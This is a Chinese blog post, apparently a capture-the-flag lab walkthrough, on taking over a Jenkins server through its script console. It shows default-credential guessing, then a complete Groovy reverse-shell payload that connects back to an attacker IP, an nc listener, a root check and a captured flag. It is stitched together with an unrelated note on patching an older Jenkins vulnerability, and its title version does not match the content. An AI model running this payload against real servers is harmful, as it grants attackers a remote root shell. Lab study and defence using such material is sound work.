jenkins2.289.1版本远程命令执行漏洞
Posted 山兔1
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jenkins2.289.1版本远程命令执行漏洞相关的知识,希望对你有一定的参考价值。
介绍
在网络安全行业中,有一种方法可以识别、定义和编目公开披露的漏洞。这种类型的标识称为CVE,代表常见漏洞和披露。
分析后,为每个漏洞分配一个严重等级,称为 CVSS 分数,范围从 0 到 10,其中 0 表示信息,10 表示严重。这些分数取决于几个因素,其中一些是 CIA 的危害级别(机密性、完整性、可用性)、攻击复杂程度、攻击面的大小等。
在计算机安全中,任意代码执行 (ACE) 是攻击者在目标计算机或目标进程中执行任意命令或代码的能力。[…]旨在利用此类漏洞的程序称为任意代码执行漏洞。通过网络(主要通过 Internet 等广域网)触发任意代码执行的能力通常称为远程代码执行 (RCE)。
列举
与往常一样,我们从nmap扫描开始
nmap -sC -sV 10.129.180.5
从扫描的输出中,我们发现了一个感兴趣的单一结果。Jetty 版本 9.4.39.v20210325 在开放的 TCP 端口 8080 上运行。像任何其他HTTP服务器一样,我们将需要使用浏览器轻松探索此服务。通过我们的 URL 搜索栏导航到目标的 IP 地址将产生错误,因为我们需要指定运行服务的端口。回顾扫描结果,该服务未在端口 80 上运行,如果我们单独输入目标的 IP 地址,我们的浏览器会去访问端口 80。
但是,如果我们指定如下所示的 IP:PORT 组合,我们将满足以下结果。
http://10.129.180.5:8080/login?from=%2F
Jenkins 是一个免费的开源自动化服务器。它有助于自动化与构建、测试和部署相关的软件开发部分,促进持续集成和交付。它是一个基于服务器的系统。
HTTP 服务器似乎正在运行 Jenkins 服务。可以在下面的代码片段中找到此服务的简短摘要。它将让我们大致了解此类服务的功能以及它如何与后端交互。任何交互都是必不可少的,因为它们可以让我们了解后端服务器上的运行过程。如果它们中的任何一个配置错误,它们都有可能称为攻击者利用的简单途径。
目前登录屏幕对我们的唯一提示是尝试使用默认凭据登录。希望服务器管理员尚未完成 Jenkins 服务的配置。我们可以在全新安装时对默认的 Jenkins 登录凭据进行 Google 搜索。返回以下结果:
admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1
但是我在google当中,没有搜索到,我只搜索到jenkins的admin账号存储在那里,
The Jenkins default password is stored in the$JENKINS_HOME/secrets/initialAdminPasswordfile
https://www.shellhacks.com/jenkins-default-password-username/
账号密码是root/password
在页面的右下角,显示了当前版本的 Jenkins服务。这是攻击者将检查的第一个线索之一 - 特别是当前安装的版本是否具有在Internet上发布的任何已知CVE或攻击方法。不幸的是,当前版本报告为安全版本。作为替代方案,我们在搜索 Jenkins 暴露在网上的消息时偶然发现了重要信息。
https://github.com/gquere/pwn_jenkins
当偶然发现宝贵的资源(如上面的例子)时,将它们保存在一个组织良好的书签文件夹中以便以后快速访问是非常重要的。强烈建议在我们的渗透测试活动中参考成熟的研究结果
在上面提供的两个链接中都提到了 Jenkins 脚本控制台,其中可以任意编写和运行脚本。要访问它,我们需要导航到左侧菜单
http://10.129.172.119:8080/script
如前面链接的两个文档中所述,我们的 Groovy 脚本实现的目标是从目标接收反向 shell 连接。在这种情况下,反向意味着目标会将连接请求初始化回给我们的攻击者,反向shell连接的好处在于实现的简单性和更好的规避防火墙。成功利用远程命令执行漏洞的攻击者可以使用反向外壳获取目标机器上的交互式外壳会话并继续攻击。
由于它只执行 Groovy 命令,我们需要在 Groovy 中创建一个有效负载来执行反向 shell 连接。具体来说,我们将通过指定我们的 IP 地址和我们将侦听新连接的端口来使远程服务器连接到我们。通过该侦听端口,目标最终将向我们发送连接请求,我们的主机将接受该请求,形成一个交互式 shell,控制目标的后端系统。为了做到这一点,我们将需要一个特制的有效载荷,我们可以在以下GitHub 备忘单中找到,https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md。
String host="your_IP";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
p.exitValue();break;catch (Exception e);p.destroy();s.close();
我们正在寻找的有效载荷如下。此文本片段在第一行只有 your_IP 部分,需要更改以适应我们的具体情况。在这种情况下,我们需要从部署的 VPN 连接中找出我们的 IP 地址。将 your_IP 位替换为我们的 IP 地址后,我们可以将整个代码段粘贴到 Jenkins 的脚本控制台中。
为了获取当前部署的VPN连接的IP地址,我们需要打开一个新终端
ip a | grep tun0
在选项卡或窗口当中输入命令。输出将如下所示,我们需要在上面的代码段中替换的IP地址为10.10.16.34。
找到 tun0 接口的 IP 地址并在脚本控制台中替换它后,我们可以查看代码块中 3 个顶行中的每一行都实现了什么,以便更好地了解有效负载。
`String host="your_IP";` : Specify the IP address for the target to connect
back to.
`int port=8000;` : Specify the port on which the attacker will listen
on.
`String cmd="/bin/bash";` : Specify the shell type the attacker expects. *
* Since the target is Linux-based, we are using `/bin/bash`.
If the target was using Windows, it would have been `cmd.exe`.
脚本的其余部分将指示目标创建一个将初始化连接的进程,在这种情况下,我们的侦听器脚本将在指定的端口并捕获来自目标的连接请求,成功在目标主机和攻击者主机之间形成反向外壳。在我们这边,这看起来像是收到了一个新连接,我们现在可以输入目标主机的终端。这在目标端不可见,除非他们正在主动监视其正在运行的进程的网络活动或来自其端口的出站连接。
在粘贴运行在 Jenkins 脚本控制台中的命令之前,我们需要确保我们的侦听器脚本在上述命令中指定的相同端口上启动并运行,对于int port=8000。
netcat(通常缩写为 nc)是一种计算机网络实用程序,用于使用 TCP 或 UDP 读取和写入网络连接。该命令被设计为一个可靠的后端,可以直接使用,也可以由其他程序和脚本轻松驱动。同时,它是一个功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有多种内置功能。它的功能列表包括端口扫描、传输文件和端口侦听:与任何服务器一样,它可以用作后门。
Netcat 预装在每个 Linux 发行版中,为了了解如何使用它,我们可以将命令输入到我们的终端窗口中。
nc -h
l :收听模式。
v :详细模式。更详细地显示状态消息。
n :纯数字 IP 地址。无主机名解析。未使用 DNS。
p : 端口。用于指定用于侦听的特定端口。
在对help输出进行简短分析后,我们可以打开一个新的终端选项卡并输入以下命令以在指定端口上启动 netcat 侦听器。这将使我们的攻击者主机准备好接收来自目标的连接,这是启动我们放置在 Jenkins 脚本控制台中的脚本之前的最后一步。
nc -lvnp 8000
现在我们的侦听器已打开,我们可以通过单击按钮来执行有效负载。
脚本运行后,我们可以导航到运行netcat的终端并检查连接your_IP。从输出中,我们了解到已收到一个连接target_IP,然后是空格。我们可以尝试通过键入whoami,id这些命令有助于验证我们在目标系统上的权限级别。从输出中,我们可以快速确定我们处于最高级别的特权。
我们用命令执行。导航到目标上的目录并读取标志。
9cdfb439c7876e703e307864c9167a15
Jenkins远程代码执行漏洞
于一个月前,进行服务器巡检时,发现服务器存在不明进程,并且以Jenkins用户身份来运行.当时进行了处理并修复了漏洞.在此补上修复过程
第一反应是Jenkins存在漏洞,于是Google Jenkins漏洞,瞬间出现一大批文章.
影响的范围: 影响低于 2.56 的所有 Jenkins 主线版本 影响低于 2.46.1 的所有 Jenkins LTS 版本 摘自https://xianzhi.aliyun.com/forum/read/1567.html
查看服务器Jenkins版本,正好是2.46.0版本
根据文中所述,自己搭建Jenkins进行了测试,测试完全通过.
修复过程:
升级Jenkins到最新版本(直接替换jenkins.war)
# ll 总用量 136940 -rw-r--r-- 1 root root 70342163 5月 23 11:18 jenkins.war -rw-r--r-- 1 root root 69875039 3月 2 03:51 jenkins.war.bak
附:yum安装Jenkins
wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key yum install jenkins
以上是关于jenkins2.289.1版本远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章
一次偶然的邂逅,Tomcat 远程命令执行漏洞(CVE-2017-12615)
Jenkins远程命令执行漏洞(CVE-2018-1000861)